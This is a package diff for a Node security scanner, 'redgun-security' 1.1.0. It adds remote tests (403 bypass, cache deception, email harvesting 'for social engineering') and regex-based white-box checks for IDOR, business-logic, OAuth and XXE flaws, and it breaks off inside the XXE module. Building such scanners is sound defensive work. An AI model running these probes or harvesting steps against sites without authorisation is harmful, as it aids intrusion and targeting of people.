redgun-security 1.0.0 → 1.1.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/README.md CHANGED
@@ -10,13 +10,13 @@
10
10
  </p>
11
11
 
12
12
  <p align="center">
13
- <strong>Black-box & white-box security auditor for web applications — HackTricks Enhanced.</strong>
13
+ <strong>Black-box & white-box security auditor for web applications — Enhanced.</strong>
14
14
  </p>
15
15
 
16
16
  <p align="center">
17
17
  <a href="https://github.com/aloc999/redgun/blob/main/LICENSE"><img src="https://img.shields.io/badge/license-MIT-blue" alt="License"></a>
18
18
  <img src="https://img.shields.io/badge/node-%3E%3D18-green" alt="Node">
19
- <img src="https://img.shields.io/badge/modules-39-ff4444" alt="Modules">
19
+ <img src="https://img.shields.io/badge/modules-51-ff4444" alt="Modules">
20
20
  <img src="https://img.shields.io/badge/HackTricks-Enhanced-critical" alt="HackTricks">
21
21
  </p>
22
22
 
@@ -24,11 +24,11 @@
24
24
 
25
25
  ## What is RedGun?
26
26
 
27
- RedGun is a security auditing CLI tool that finds vulnerabilities in your web applications. It includes **39 security modules** covering techniques from [HackTricks](https://book.hacktricks.wiki). Two modes:
27
+ RedGun is a security auditing CLI tool that finds vulnerabilities in your web applications. It includes **51 security modules** covering techniques from [HackTricks](https://book.hacktricks.wiki), [PortSwigger Web Security Academy](https://portswigger.net/web-security), [Katana](https://github.com/projectdiscovery/katana), and [httpx](https://github.com/projectdiscovery/httpx). Two modes:
28
28
 
29
- **Remote scan** (black-box): Give it a URL. It tests your site from the outside — XSS, SQLi, SSRF, CORS, CRLF injection, cache poisoning, host header injection, HTTP request smuggling, GraphQL introspection, path traversal, NoSQL injection, and more.
29
+ **Remote scan** (black-box): Give it a URL. It crawls with Katana-style JS parsing, fingerprints with httpx-style probing, then tests — XSS, SQLi, SSRF, CORS, XXE, OAuth, IDOR, cache deception, DOM-based, HTTP smuggling, CRLF, parameter pollution, file upload, and more.
30
30
 
31
- **Local audit** (white-box): Point it at your project directory. It reads your source code checking for secrets, SSTI, insecure deserialization, prototype pollution, JWT vulnerabilities, command injection, weak crypto, path traversal, and more.
31
+ **Local audit** (white-box): Point it at your project directory. It reads your source code checking for secrets, SSTI, XXE, insecure deserialization, prototype pollution, JWT attacks, OAuth flaws, IDOR, business logic, command injection, weak crypto, and more.
32
32
 
33
33
  <br>
34
34
 
@@ -51,10 +51,12 @@ redgun modules # List all modules
51
51
 
52
52
  <br>
53
53
 
54
- ## Remote Scan Modules (25 — Black-box)
54
+ ## Remote Scan Modules (33 — Black-box)
55
55
 
56
56
  | Module | What it tests | Source |
57
57
  |---|---|---|
58
+ | **Probe & Fingerprint** | Status code, title, technologies (40+), CDN/WAF detection, favicon hash, response time, virtual host discovery | httpx |
59
+ | **Crawl & Extract** | JS file parsing, endpoint extraction, form discovery, parameter mining, email harvesting, secret detection in bundles | Katana |
58
60
  | **HTTP Headers** | Missing CSP, HSTS, X-Frame-Options, X-Content-Type-Options, Referrer-Policy, Permissions-Policy, COOP, CORP, COEP | OWASP |
59
61
  | **Exposed Files** | `.env`, `.git/config`, `package.json`, `.DS_Store`, source maps, actuator, swagger, phpinfo, Docker files, backups | HackTricks |
60
62
  | **Secrets Detection** | API keys (AWS, Stripe, Firebase, Supabase, OpenAI, Anthropic), tokens, passwords in page source | HackTricks |
@@ -80,10 +82,18 @@ redgun modules # List all modules
80
82
  | **WebSocket Security** | Origin validation, authentication checks | HackTricks |
81
83
  | **Cache Poisoning** | Unkeyed headers (X-Forwarded-Host, X-Forwarded-Scheme, X-Original-URL) | HackTricks |
82
84
  | **Race Conditions** | Detection guidance for concurrent request attacks | HackTricks |
85
+ | **XXE Injection** | XML entity injection at upload/import/SOAP endpoints | PortSwigger |
86
+ | **OAuth Misconfiguration** | redirect_uri validation, OIDC config exposure, implicit flow detection | PortSwigger |
87
+ | **Access Control Bypass** | Admin panel exposure, 403 bypass via X-Original-URL/X-Forwarded-For, robots.txt disclosure | PortSwigger |
88
+ | **Web Cache Deception** | Static extension cache deception, path normalization inconsistency | PortSwigger |
89
+ | **Parameter Pollution** | HTTP Parameter Pollution, null byte truncation, duplicate params | PortSwigger |
90
+ | **File Upload Testing** | Upload endpoint discovery, OPTIONS probing | PortSwigger |
91
+ | **DOM-Based Vulnerabilities** | DOM sinks (document.write, innerHTML, eval, postMessage), source-to-sink flow | PortSwigger |
92
+ | **HTTP/2 Attacks** | H2.CL/H2.TE smuggling indicators, HPACK injection surface | PortSwigger |
83
93
 
84
94
  <br>
85
95
 
86
- ## Local Audit Modules (14 — White-box)
96
+ ## Local Audit Modules (18 — White-box)
87
97
 
88
98
  | Module | What it checks | Source |
89
99
  |---|---|---|
@@ -101,6 +111,10 @@ redgun modules # List all modules
101
111
  | **Path Traversal / LFI** | User input in file paths, readFile, sendFile, include/require | HackTricks |
102
112
  | **Command Injection** | exec, spawn, child_process, system, subprocess with user input, shell interpolation | HackTricks |
103
113
  | **Weak Cryptography** | MD5, SHA1, DES, RC4, ECB mode, Math.random, hardcoded keys/IVs | HackTricks |
114
+ | **XXE Detection** | XML parsers without entity disabled, DOMParser, lxml, simplexml with user input | PortSwigger |
115
+ | **Access Control / IDOR** | Direct object reference, role from user input, admin headers, ownership checks | PortSwigger |
116
+ | **OAuth / OIDC Flaws** | redirect_uri manipulation, missing state, client_secret exposure, token storage | PortSwigger |
117
+ | **Business Logic** | Price manipulation, negative quantity, workflow step skipping, race conditions, referral abuse | PortSwigger |
104
118
 
105
119
  <br>
106
120
 
@@ -209,9 +223,9 @@ Create a `.redgunignore` file to exclude files from local audit:
209
223
 
210
224
  <br>
211
225
 
212
- ## HackTricks Techniques Included
226
+ ## Techniques & Sources
213
227
 
214
- RedGun integrates techniques documented in [HackTricks](https://book.hacktricks.wiki):
228
+ ### HackTricks Techniques
215
229
 
216
230
  - **SSRF** — AWS/GCP metadata, internal IP bypass, DNS rebinding indicators
217
231
  - **SSTI** — Template engine detection and exploitation patterns
@@ -231,6 +245,37 @@ RedGun integrates techniques documented in [HackTricks](https://book.hacktricks.
231
245
  - **Subdomain Takeover** — Dangling CNAME detection
232
246
  - **Weak Cryptography** — Deprecated algorithms and hardcoded key detection
233
247
 
248
+ ### PortSwigger Web Security Academy Techniques
249
+
250
+ - **XXE (XML External Entity)** — Entity injection, DTD-based file read, blind OOB XXE, parameter entities
251
+ - **Access Control** — Horizontal/vertical privilege escalation, IDOR, 403 bypass via headers (X-Original-URL, X-Rewrite-URL), referer-based control
252
+ - **OAuth 2.0 Vulnerabilities** — redirect_uri manipulation, state CSRF, implicit flow token theft, client_secret exposure, PKCE bypass
253
+ - **Business Logic** — Price manipulation, negative quantity, workflow step skipping, race condition exploitation, referral abuse, trial abuse
254
+ - **Web Cache Deception** — Static extension deception, path normalization inconsistency, cache key manipulation
255
+ - **DOM-Based Vulnerabilities** — Source-to-sink analysis, document.write, innerHTML, eval, postMessage hijacking
256
+ - **HTTP Parameter Pollution** — Duplicate parameters, server-side truncation, null byte injection
257
+ - **File Upload** — Unrestricted upload, extension bypass, content-type manipulation, polyglot files
258
+ - **HTTP/2 Attacks** — H2.CL smuggling, H2.TE smuggling, HPACK header injection, request tunneling
259
+
260
+ ### Katana (ProjectDiscovery) Techniques
261
+
262
+ - **JavaScript Crawling** — Parse all JS bundles including lazy-loaded chunks for endpoints
263
+ - **Endpoint Extraction** — API routes, fetch/axios calls, URL patterns from source
264
+ - **Form Discovery** — Automatic form detection with CSRF and sensitive field analysis
265
+ - **Parameter Mining** — Extract all parameters from URLs, forms, and JS source
266
+ - **Secret Extraction** — API keys, tokens, and credentials from JS bundles
267
+ - **Email Harvesting** — Email addresses from page source for social engineering
268
+
269
+ ### httpx (ProjectDiscovery) Techniques
270
+
271
+ - **Technology Detection** — 40+ technologies fingerprinted (frameworks, CMS, servers, BaaS, analytics)
272
+ - **CDN/WAF Detection** — Cloudflare, AWS CloudFront, Fastly, Akamai, Imperva, Sucuri, Azure, Vercel, Netlify
273
+ - **WAF Fingerprinting** — ModSecurity, Wordfence, F5 BIG-IP, Cloudflare WAF, Incapsula
274
+ - **Favicon Hashing** — MD5 hash for Shodan-style fingerprinting
275
+ - **Virtual Host Discovery** — Host header manipulation to find hidden vhosts
276
+ - **Response Analysis** — Status codes, content-length, response time, title extraction
277
+ - **TLS/Certificate Info** — Protocol detection, certificate validation
278
+
234
279
  <br>
235
280
 
236
281
  ## Project Structure
@@ -247,7 +292,7 @@ redgun/
247
292
  │ │ ├── console.js # Terminal output
248
293
  │ │ ├── json.js # JSON + SARIF export
249
294
  │ │ └── html.js # HTML report
250
- │ ├── local/ # White-box modules (14)
295
+ │ ├── local/ # White-box modules (18)
251
296
  │ │ ├── index.js # Module orchestrator
252
297
  │ │ ├── secrets.js # Source code secrets
253
298
  │ │ ├── env.js # .env audit
@@ -255,18 +300,26 @@ redgun/
255
300
  │ │ ├── code-vulnerabilities.js # SQLi, XSS, eval, ReDoS
256
301
  │ │ ├── auth.js # Auth & middleware
257
302
  │ │ ├── headers-config.js # CSP/HSTS config
258
- │ │ ├── ssrf.js # SSRF detection
259
- │ │ ├── ssti.js # SSTI detection
260
- │ │ ├── deserialization.js # Insecure deserialization
261
- │ │ ├── prototype-pollution.js # Prototype pollution
262
- │ │ ├── jwt.js # JWT vulnerabilities
263
- │ │ ├── path-traversal.js # LFI/path traversal
264
- │ │ ├── command-injection.js # OS command injection
265
- │ │ └── crypto.js # Weak cryptography
303
+ │ │ ├── ssrf.js # SSRF (HackTricks)
304
+ │ │ ├── ssti.js # SSTI (HackTricks)
305
+ │ │ ├── deserialization.js # Insecure deserialization (HackTricks)
306
+ │ │ ├── prototype-pollution.js # Prototype pollution (HackTricks)
307
+ │ │ ├── jwt.js # JWT vulnerabilities (HackTricks)
308
+ │ │ ├── path-traversal.js # LFI/path traversal (HackTricks)
309
+ │ │ ├── command-injection.js # OS command injection (HackTricks)
310
+ │ │ ├── crypto.js # Weak cryptography (HackTricks)
311
+ │ │ ├── xxe.js # XXE detection (PortSwigger)
312
+ │ │ ├── access-control.js # IDOR/access control (PortSwigger)
313
+ │ │ ├── oauth.js # OAuth/OIDC flaws (PortSwigger)
314
+ │ │ └── business-logic.js # Business logic (PortSwigger)
315
+ │ ├── remote/ # Black-box enhanced modules
316
+ │ │ ├── crawler.js # Katana-style JS crawler
317
+ │ │ ├── probe.js # httpx-style fingerprinting
318
+ │ │ └── portswigger.js # PortSwigger remote tests
266
319
  │ └── utils/
267
320
  │ ├── fetch.js # HTTP with timeout
268
321
  │ └── patterns.js # Shared regex patterns
269
- ├── scan.js # Remote scan engine (25 modules)
322
+ ├── scan.js # Remote scan engine (33 modules)
270
323
  ├── action.yml # GitHub Action definition
271
324
  ├── .github/workflows/security.yml
272
325
  └── package.json
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "redgun-security",
3
- "version": "1.0.0",
3
+ "version": "1.1.0",
4
4
  "description": "Black-box & white-box security auditor for web applications with HackTricks techniques",
5
5
  "type": "module",
6
6
  "main": "scan.js",
@@ -20,10 +20,16 @@
20
20
  "vulnerability",
21
21
  "audit",
22
22
  "hacktricks",
23
+ "portswigger",
24
+ "katana",
25
+ "httpx",
23
26
  "xss",
24
27
  "sqli",
25
28
  "ssrf",
26
29
  "ssti",
30
+ "xxe",
31
+ "idor",
32
+ "oauth",
27
33
  "web-security"
28
34
  ],
29
35
  "author": "aloc999",
package/scan.js CHANGED
@@ -1,6 +1,9 @@
1
1
  import { addFinding } from './src/core/findings.js';
2
2
  import { fetchText, checkUrl } from './src/utils/fetch.js';
3
3
  import { EXPOSED_FILES, HEADER_CHECKS, COMMON_SUBDOMAINS, COMMON_PORTS, SECRET_PATTERNS } from './src/utils/patterns.js';
4
+ import { runCrawler } from './src/remote/crawler.js';
5
+ import { runProbe } from './src/remote/probe.js';
6
+ import { scanXxeRemote, scanOauthRemote, scanAccessControlRemote, scanWebCacheDeception, scanParameterPollution, scanFileUpload, scanDomBased, scanHttp2 } from './src/remote/portswigger.js';
4
7
 
5
8
  export async function runRemoteScan(url, spinner, modules = null) {
6
9
  const target = new URL(url);
@@ -8,6 +11,8 @@ export async function runRemoteScan(url, spinner, modules = null) {
8
11
  const origin = target.origin;
9
12
 
10
13
  const allModules = [
14
+ { name: 'Probe & Fingerprint (httpx)', value: 'probe', fn: () => runProbe(origin, spinner) },
15
+ { name: 'Crawl & Extract (Katana)', value: 'crawl', fn: () => runCrawler(origin, spinner) },
11
16
  { name: 'HTTP Headers', value: 'headers', fn: () => scanHeaders(origin, spinner) },
12
17
  { name: 'Exposed Files & Paths', value: 'files', fn: () => scanExposedFiles(origin, spinner) },
13
18
  { name: 'Secrets in JS Bundles', value: 'secrets', fn: () => scanSecrets(origin, spinner) },
@@ -33,6 +38,14 @@ export async function runRemoteScan(url, spinner, modules = null) {
33
38
  { name: 'WebSocket Security (HackTricks)', value: 'websocket', fn: () => scanWebsocket(origin, spinner) },
34
39
  { name: 'Cache Poisoning (HackTricks)', value: 'cache', fn: () => scanCachePoisoning(origin, spinner) },
35
40
  { name: 'Race Condition Detection (HackTricks)', value: 'race', fn: () => scanRaceCondition(origin, spinner) },
41
+ { name: 'XXE Injection (PortSwigger)', value: 'xxe', fn: () => scanXxeRemote(origin, spinner) },
42
+ { name: 'OAuth Misconfiguration (PortSwigger)', value: 'oauth', fn: () => scanOauthRemote(origin, spinner) },
43
+ { name: 'Access Control Bypass (PortSwigger)', value: 'acl', fn: () => scanAccessControlRemote(origin, spinner) },
44
+ { name: 'Web Cache Deception (PortSwigger)', value: 'wcd', fn: () => scanWebCacheDeception(origin, spinner) },
45
+ { name: 'Parameter Pollution (PortSwigger)', value: 'hpp', fn: () => scanParameterPollution(origin, spinner) },
46
+ { name: 'File Upload Testing (PortSwigger)', value: 'upload', fn: () => scanFileUpload(origin, spinner) },
47
+ { name: 'DOM-Based Vulnerabilities (PortSwigger)', value: 'dom', fn: () => scanDomBased(origin, spinner) },
48
+ { name: 'HTTP/2 Attacks (PortSwigger)', value: 'h2', fn: () => scanHttp2(origin, spinner) },
36
49
  ];
37
50
 
38
51
  const toRun = modules ? allModules.filter((m) => modules.includes(m.value)) : allModules;
@@ -0,0 +1,64 @@
1
+ import { readFileSync, readdirSync, statSync } from 'fs';
2
+ import { join, extname } from 'path';
3
+ import { addFinding } from '../core/findings.js';
4
+
5
+ const SCAN_EXTENSIONS = ['.js', '.ts', '.jsx', '.tsx', '.mjs', '.py', '.rb', '.php', '.go', '.java'];
6
+ const IGNORE_DIRS = ['node_modules', '.git', 'dist', 'build', '__pycache__', 'vendor'];
7
+
8
+ export async function auditAccessControl(projectPath, spinner) {
9
+ spinner.text = 'Scanning for access control vulnerabilities (PortSwigger)...';
10
+ const files = getFiles(projectPath);
11
+
12
+ for (const file of files) {
13
+ try {
14
+ const content = readFileSync(file, 'utf-8');
15
+ const relativePath = file.replace(projectPath, '.');
16
+ const lines = content.split('\n');
17
+
18
+ const patterns = [
19
+ { pattern: /(?:req|request)\.(?:params|query|body)\.\s*(?:user_?id|userId|uid|owner_?id|account_?id)/gi, name: 'IDOR - user ID from request parameters', severity: 'HIGH' },
20
+ { pattern: /(?:isAdmin|is_admin|role)\s*[:=]\s*(?:req|request|params|query|body)/gi, name: 'Role/privilege from user input', severity: 'CRITICAL' },
21
+ { pattern: /(?:if|when)\s*\(\s*(?:req|request)\.(?:headers|query|params)\[?\s*['"]?(?:x-admin|admin|role|is[-_]?admin)/gi, name: 'Admin check via client-controlled header/param', severity: 'CRITICAL' },
22
+ { pattern: /\.findById\s*\(\s*(?:req|params|query|body)\./gi, name: 'Direct object reference without ownership check', severity: 'HIGH' },
23
+ { pattern: /\.findOne\s*\(\s*\{\s*(?:_id|id)\s*:\s*(?:req|params|query|body)\./gi, name: 'Database lookup by user-supplied ID (potential IDOR)', severity: 'HIGH' },
24
+ { pattern: /\.delete\s*\(\s*['"`]\/[^'"`]*:id/gi, name: 'DELETE route with :id param (check authorization)', severity: 'MEDIUM' },
25
+ { pattern: /\.put\s*\(\s*['"`]\/[^'"`]*:id/gi, name: 'PUT route with :id param (check authorization)', severity: 'MEDIUM' },
26
+ { pattern: /(?:admin|dashboard|manage|internal).*(?:app\.get|router\.get|@app\.route)/gi, name: 'Admin route - verify middleware protection', severity: 'MEDIUM' },
27
+ { pattern: /res\.json\s*\(\s*(?:users|accounts|orders|payments|transactions)/gi, name: 'Bulk data exposure without filtering', severity: 'MEDIUM' },
28
+ { pattern: /X-Original-URL|X-Rewrite-URL/gi, name: 'URL override headers (access control bypass)', severity: 'HIGH' },
29
+ { pattern: /referer\s*(?:===?|!==?|includes|match)/gi, name: 'Referer-based access control (easily spoofed)', severity: 'HIGH' },
30
+ { pattern: /(?:hidden|type=['"]hidden['"])\s*.*(?:role|admin|privilege|permission)/gi, name: 'Hidden form field for access control', severity: 'HIGH' },
31
+ ];
32
+
33
+ for (const { pattern, name, severity } of patterns) {
34
+ let match;
35
+ while ((match = pattern.exec(content)) !== null) {
36
+ const lineNum = content.substring(0, match.index).split('\n').length;
37
+ addFinding(
38
+ severity,
39
+ 'Access Control (PortSwigger)',
40
+ name,
41
+ `File: ${relativePath}:${lineNum}\nCode: ${lines[lineNum - 1]?.trim().substring(0, 120)}`,
42
+ 'Implement server-side authorization checks. Verify object ownership on every request. Use middleware for role-based access control. Never trust client-supplied IDs without verifying the requesting user owns that resource.'
43
+ );
44
+ }
45
+ }
46
+ } catch {}
47
+ }
48
+ }
49
+
50
+ function getFiles(dir, files = []) {
51
+ try {
52
+ const entries = readdirSync(dir);
53
+ for (const entry of entries) {
54
+ if (IGNORE_DIRS.includes(entry) || entry.startsWith('.')) continue;
55
+ const fullPath = join(dir, entry);
56
+ try {
57
+ const stat = statSync(fullPath);
58
+ if (stat.isDirectory()) getFiles(fullPath, files);
59
+ else if (SCAN_EXTENSIONS.includes(extname(entry).toLowerCase()) && stat.size < 512 * 1024) files.push(fullPath);
60
+ } catch {}
61
+ }
62
+ } catch {}
63
+ return files;
64
+ }
@@ -0,0 +1,67 @@
1
+ import { readFileSync, readdirSync, statSync } from 'fs';
2
+ import { join, extname } from 'path';
3
+ import { addFinding } from '../core/findings.js';
4
+
5
+ const SCAN_EXTENSIONS = ['.js', '.ts', '.jsx', '.tsx', '.mjs', '.py', '.rb', '.php', '.go', '.java'];
6
+ const IGNORE_DIRS = ['node_modules', '.git', 'dist', 'build', '__pycache__', 'vendor'];
7
+
8
+ export async function auditBusinessLogic(projectPath, spinner) {
9
+ spinner.text = 'Scanning for business logic flaws (PortSwigger)...';
10
+ const files = getFiles(projectPath);
11
+
12
+ for (const file of files) {
13
+ try {
14
+ const content = readFileSync(file, 'utf-8');
15
+ const relativePath = file.replace(projectPath, '.');
16
+ const lines = content.split('\n');
17
+
18
+ const patterns = [
19
+ { pattern: /(?:price|amount|total|cost|quantity|qty)\s*[:=]\s*(?:req|params|query|body|request)\./gi, name: 'Price/amount from client input (price manipulation)', severity: 'CRITICAL' },
20
+ { pattern: /(?:discount|coupon|promo|voucher).*(?:apply|use|redeem)/gi, name: 'Discount/coupon logic (test for race conditions & reuse)', severity: 'MEDIUM' },
21
+ { pattern: /(?:quantity|qty)\s*[:=]\s*(?:parseInt|Number)\s*\(\s*(?:req|body)/gi, name: 'Quantity from user input (negative quantity attack)', severity: 'HIGH' },
22
+ { pattern: /(?:transfer|withdraw|send)\s*.*(?:amount|value)\s*[:=]/gi, name: 'Financial transfer logic (check for negative amounts, overflow)', severity: 'HIGH' },
23
+ { pattern: /(?:limit|max|threshold)\s*.*(?:parseInt|Number|parseFloat)\s*\(\s*(?:req|body|query)/gi, name: 'Limit/threshold from user input', severity: 'MEDIUM' },
24
+ { pattern: /(?:step|stage|phase|state)\s*[:=]\s*(?:req|params|query|body)/gi, name: 'Workflow step from user input (step skipping)', severity: 'HIGH' },
25
+ { pattern: /(?:if|when).*(?:balance|credits?|points?)\s*(?:>=?|<=?|>|<)\s*(?:0|amount|price)/gi, name: 'Balance check (test for race conditions)', severity: 'MEDIUM' },
26
+ { pattern: /(?:verify|validate|check).*(?:email|phone|identity)\s*.*(?:skip|bypass|false)/gi, name: 'Verification bypass flag', severity: 'HIGH' },
27
+ { pattern: /(?:free[-_]?trial|trial[-_]?period).*(?:extend|reset|create)/gi, name: 'Trial logic (test for unlimited trial abuse)', severity: 'MEDIUM' },
28
+ { pattern: /(?:referral|invite|bonus).*(?:credit|reward|points)/gi, name: 'Referral/bonus logic (test for self-referral abuse)', severity: 'MEDIUM' },
29
+ { pattern: /parseInt\s*\(\s*(?:req|body|query).*10\s*\)|Number\s*\(\s*(?:req|body|query)/gi, name: 'Numeric input parsing (test integer overflow, NaN, Infinity)', severity: 'LOW' },
30
+ { pattern: /(?:vote|like|upvote|rate|review).*(?:req|body|params)/gi, name: 'Voting/rating logic (test for multiple votes)', severity: 'MEDIUM' },
31
+ ];
32
+
33
+ for (const { pattern, name, severity } of patterns) {
34
+ let match;
35
+ while ((match = pattern.exec(content)) !== null) {
36
+ const lineNum = content.substring(0, match.index).split('\n').length;
37
+ const line = lines[lineNum - 1]?.trim() || '';
38
+ if (line.startsWith('//') || line.startsWith('#')) continue;
39
+
40
+ addFinding(
41
+ severity,
42
+ 'Business Logic (PortSwigger)',
43
+ name,
44
+ `File: ${relativePath}:${lineNum}\nCode: ${line.substring(0, 120)}`,
45
+ 'Never trust client-supplied values for prices, quantities, or workflow states. Validate all business rules server-side. Use database transactions with proper isolation levels for financial operations. Implement idempotency keys to prevent double-processing.'
46
+ );
47
+ }
48
+ }
49
+ } catch {}
50
+ }
51
+ }
52
+
53
+ function getFiles(dir, files = []) {
54
+ try {
55
+ const entries = readdirSync(dir);
56
+ for (const entry of entries) {
57
+ if (IGNORE_DIRS.includes(entry) || entry.startsWith('.')) continue;
58
+ const fullPath = join(dir, entry);
59
+ try {
60
+ const stat = statSync(fullPath);
61
+ if (stat.isDirectory()) getFiles(fullPath, files);
62
+ else if (SCAN_EXTENSIONS.includes(extname(entry).toLowerCase()) && stat.size < 512 * 1024) files.push(fullPath);
63
+ } catch {}
64
+ }
65
+ } catch {}
66
+ return files;
67
+ }
@@ -12,6 +12,10 @@ import { auditJwt } from './jwt.js';
12
12
  import { auditPathTraversal } from './path-traversal.js';
13
13
  import { auditCommandInjection } from './command-injection.js';
14
14
  import { auditCrypto } from './crypto.js';
15
+ import { auditXxe } from './xxe.js';
16
+ import { auditAccessControl } from './access-control.js';
17
+ import { auditOauth } from './oauth.js';
18
+ import { auditBusinessLogic } from './business-logic.js';
15
19
 
16
20
  export const LOCAL_MODULES = [
17
21
  { name: 'Code Secrets', value: 'secrets', fn: auditSecrets },
@@ -28,6 +32,10 @@ export const LOCAL_MODULES = [
28
32
  { name: 'Path Traversal / LFI (HackTricks)', value: 'lfi', fn: auditPathTraversal },
29
33
  { name: 'Command Injection (HackTricks)', value: 'cmdi', fn: auditCommandInjection },
30
34
  { name: 'Weak Cryptography (HackTricks)', value: 'crypto', fn: auditCrypto },
35
+ { name: 'XXE - XML External Entity (PortSwigger)', value: 'xxe', fn: auditXxe },
36
+ { name: 'Access Control / IDOR (PortSwigger)', value: 'idor', fn: auditAccessControl },
37
+ { name: 'OAuth / OIDC Flaws (PortSwigger)', value: 'oauth', fn: auditOauth },
38
+ { name: 'Business Logic Flaws (PortSwigger)', value: 'bizlogic', fn: auditBusinessLogic },
31
39
  ];
32
40
 
33
41
  export async function runLocalAudit(projectPath, spinner, modules = null) {
@@ -0,0 +1,68 @@
1
+ import { readFileSync, readdirSync, statSync } from 'fs';
2
+ import { join, extname } from 'path';
3
+ import { addFinding } from '../core/findings.js';
4
+
5
+ const SCAN_EXTENSIONS = ['.js', '.ts', '.jsx', '.tsx', '.mjs', '.py', '.rb', '.php', '.go', '.java', '.env'];
6
+ const IGNORE_DIRS = ['node_modules', '.git', 'dist', 'build', '__pycache__', 'vendor'];
7
+
8
+ export async function auditOauth(projectPath, spinner) {
9
+ spinner.text = 'Scanning for OAuth/OIDC vulnerabilities (PortSwigger)...';
10
+ const files = getFiles(projectPath);
11
+
12
+ for (const file of files) {
13
+ try {
14
+ const content = readFileSync(file, 'utf-8');
15
+ const relativePath = file.replace(projectPath, '.');
16
+ const lines = content.split('\n');
17
+
18
+ const patterns = [
19
+ { pattern: /redirect_uri\s*[:=]\s*(?:req|params|query|body|request)/gi, name: 'OAuth redirect_uri from user input (open redirect → token theft)', severity: 'CRITICAL' },
20
+ { pattern: /state\s*[:=]\s*(?:null|undefined|''|"")|(?:!state|state\s*===?\s*(?:null|undefined))/gi, name: 'OAuth state parameter missing/null (CSRF)', severity: 'HIGH' },
21
+ { pattern: /response_type\s*[:=]\s*['"]token['"]/gi, name: 'OAuth implicit flow (token in URL fragment)', severity: 'MEDIUM' },
22
+ { pattern: /client_secret\s*[:=]\s*['"][^'"]{5,}['"]/gi, name: 'OAuth client_secret hardcoded', severity: 'HIGH' },
23
+ { pattern: /grant_type\s*[:=]\s*['"]password['"]/gi, name: 'OAuth Resource Owner Password grant (insecure)', severity: 'MEDIUM' },
24
+ { pattern: /(?:GOOGLE|GITHUB|FACEBOOK|TWITTER|OAUTH)_CLIENT_SECRET\s*=\s*['"]?[A-Za-z0-9_-]{10,}/gi, name: 'OAuth provider secret in source', severity: 'HIGH' },
25
+ { pattern: /(?:openid|oauth|oidc).*(?:nonce|at_hash)\s*.*(?:skip|ignore|false)/gi, name: 'OAuth nonce/at_hash validation disabled', severity: 'HIGH' },
26
+ { pattern: /(?:verify|validate).*(?:state|nonce)\s*.*(?:false|skip|disabled)/gi, name: 'OAuth state/nonce verification disabled', severity: 'CRITICAL' },
27
+ { pattern: /scope\s*[:=]\s*['"].*(?:admin|write|delete|manage)/gi, name: 'OAuth requesting elevated scopes', severity: 'LOW' },
28
+ { pattern: /token_endpoint_auth_method\s*[:=]\s*['"]none['"]/gi, name: 'OAuth no client authentication', severity: 'HIGH' },
29
+ { pattern: /id_token.*(?:decode|parse).*(?:!verify|verify\s*[:=]\s*false)/gi, name: 'OIDC id_token not verified', severity: 'CRITICAL' },
30
+ { pattern: /(?:access_token|refresh_token)\s*[:=].*(?:localStorage|sessionStorage)/gi, name: 'OAuth tokens stored in browser storage (XSS theft)', severity: 'HIGH' },
31
+ { pattern: /PKCE|code_challenge|code_verifier/gi, name: 'PKCE usage detected (good practice)', severity: 'INFO' },
32
+ ];
33
+
34
+ for (const { pattern, name, severity } of patterns) {
35
+ let match;
36
+ while ((match = pattern.exec(content)) !== null) {
37
+ const lineNum = content.substring(0, match.index).split('\n').length;
38
+ const line = lines[lineNum - 1]?.trim() || '';
39
+ if (line.startsWith('//') || line.startsWith('#')) continue;
40
+
41
+ addFinding(
42
+ severity,
43
+ 'OAuth/OIDC (PortSwigger)',
44
+ name,
45
+ `File: ${relativePath}:${lineNum}\nCode: ${line.substring(0, 120)}`,
46
+ 'Use Authorization Code flow with PKCE. Validate state parameter to prevent CSRF. Whitelist redirect_uris server-side. Never expose client_secret in client-side code. Store tokens in httpOnly cookies, not localStorage.'
47
+ );
48
+ }
49
+ }
50
+ } catch {}
51
+ }
52
+ }
53
+
54
+ function getFiles(dir, files = []) {
55
+ try {
56
+ const entries = readdirSync(dir);
57
+ for (const entry of entries) {
58
+ if (IGNORE_DIRS.includes(entry) || entry.startsWith('.')) continue;
59
+ const fullPath = join(dir, entry);
60
+ try {
61
+ const stat = statSync(fullPath);
62
+ if (stat.isDirectory()) getFiles(fullPath, files);
63
+ else if (SCAN_EXTENSIONS.includes(extname(entry).toLowerCase()) && stat.size < 512 * 1024) files.push(fullPath);
64
+ } catch {}
65
+ }
66
+ } catch {}
67
+ return files;
68
+ }
@@ -0,0 +1,74 @@
1
+ import { readFileSync, readdirSync, statSync } from 'fs';
2
+ import { join, extname } from 'path';
3
+ import { addFinding } from '../core/findings.js';
4
+
5
+ const SCAN_EXTENSIONS = ['.js', '.ts', '.jsx', '.tsx', '.py', '.rb', '.php', '.java', '.cs', '.go', '.xml', '.svg'];
6
+ const IGNORE_DIRS = ['node_modules', '.git', 'dist', 'build', '__pycache__', 'vendor', 'target'];
7
+
8
+ export async function auditXxe(projectPath, spinner) {
9
+ spinner.text = 'Scanning for XXE vulnerabilities (PortSwigger)...';
10
+ const files = getFiles(projectPath);
11
+
12
+ for (const file of files) {
13
+ try {
14
+ const content = readFileSync(file, 'utf-8');
15
+ const relativePath = file.replace(projectPath, '.');
16
+ const lines = content.split('\n');
17
+
18
+ const xxePatterns = [
19
+ { pattern: /DOMParser\s*\(\s*\)/gi, name: 'DOMParser without disabling entities', severity: 'HIGH' },
20
+ { pattern: /parseString\s*\(\s*(?:req|params|query|body|user|data|input)/gi, name: 'XML parsing user input (xml2js)', severity: 'CRITICAL' },
21
+ { pattern: /xml2js|fast-xml-parser|libxmljs|sax\s*\./gi, name: 'XML parser library usage', severity: 'INFO' },
22
+ { pattern: /DocumentBuilderFactory/gi, name: 'Java XML DocumentBuilderFactory', severity: 'MEDIUM' },
23
+ { pattern: /SAXParserFactory/gi, name: 'Java SAXParserFactory', severity: 'MEDIUM' },
24
+ { pattern: /XMLReader/gi, name: 'XMLReader usage', severity: 'MEDIUM' },
25
+ { pattern: /etree\.parse\s*\(\s*(?:req|request|data|input|file)/gi, name: 'Python lxml parse user input', severity: 'CRITICAL' },
26
+ { pattern: /etree\.fromstring\s*\(\s*(?:req|request|data|input)/gi, name: 'Python lxml fromstring user input', severity: 'CRITICAL' },
27
+ { pattern: /simplexml_load_string\s*\(\s*\$_(?:GET|POST|REQUEST)/gi, name: 'PHP simplexml_load_string user input', severity: 'CRITICAL' },
28
